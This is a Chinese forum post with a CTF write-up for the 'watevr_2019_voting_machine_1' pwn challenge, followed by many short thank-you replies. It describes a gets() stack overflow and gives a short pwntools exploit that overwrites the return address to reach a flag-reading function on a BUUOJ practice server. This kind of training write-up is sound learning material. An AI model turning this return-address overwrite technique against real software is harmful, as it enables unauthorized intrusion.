浦乐 发表于 2025-10-22 11:34:07

PWN手的成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持


远程连接,看一下交互。发现是一个投票系统,让用户在0-10之间选择一个数字并输入。

file 查看文件。64 位 ELF 可执行文件。

checksec 查看文件安全属性。开启了 NX 保护,栈上无执行权限。

IDA 打开文件。查看 main 函数,发现了 gets 危险函数。

双击 v4,发现了栈溢出大小为 0x2+8=0x10。

尝试寻找 backdoor 函数,发现了 super_secret_fuction 函数,没有 /bin/bash,但是存在 fopen("/home/ctf/flag.txt","r") 以只读模式打开flag.txt文件。

PWN流程:溢出 v4 ,覆盖 super_secret_fuction 函数,让其执行fopen("/home/ctf/flag.txt","r"),再通过不断接受数据以达到劫持的目的,将 flag 的内容放到自定义变量中,最后打印出这个变量。
exp:
from pwn import *

r=remote('node5.buuoj.cn',29744)
flag_addr=0x400807
payload=b'a'*10+p64(flag_addr)#一定要是 10, 而不能是 0x10
r.sendline(payload)
flag=r.recvall()
print(flag)得到 flag。


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

啸妹回 发表于 2025-10-30 13:59:01

谢谢分享,辛苦了

乳杂丫 发表于 2025-11-11 19:22:21

感谢分享,下载保存了,貌似很强大

豌笆 发表于 2025-12-17 14:25:39

感谢发布原创作品,程序园因你更精彩

飧沾 发表于 2025-12-25 12:46:17

这个有用。

能氐吨 发表于 2026-1-8 09:17:46

感谢,下载保存了

蔬陶 发表于 2026-1-15 02:01:52

过来提前占个楼

仄谦 发表于 2026-1-15 08:06:54

感谢分享,学习下。

琴丁辰 发表于 2026-1-19 09:52:28

热心回复!

鞍注塔 发表于 2026-1-19 13:37:35

这个好,看起来很实用

坠矜 发表于 2026-1-25 02:28:11

东西不错很实用谢谢分享

黎瑞芝 发表于 2026-1-26 11:52:51

谢谢分享,辛苦了

靳谷雪 发表于 2026-1-30 02:48:57

感谢分享,学习下。

威割 发表于 2026-2-3 05:53:49

喜欢鼓捣这些软件,现在用得少,谢谢分享!

诘琅 发表于 2026-2-3 06:43:37

鼓励转贴优秀软件安全工具和文档!

赀倦 发表于 2026-2-6 06:13:28

谢谢楼主提供!

丝甲坞 发表于 2026-2-8 02:49:33

喜欢鼓捣这些软件,现在用得少,谢谢分享!

颓哀 发表于 2026-2-9 15:41:35

鼓励转贴优秀软件安全工具和文档!

葛雅隽 发表于 2026-2-9 15:51:33

感谢分享

更成痒 发表于 2026-2-10 07:15:43

懂技术并乐意极积无私分享的人越来越少。珍惜
页: [1] 2
查看完整版本: PWN手的成长之路-06-watevr_2019_voting_machine_1-栈溢出+劫持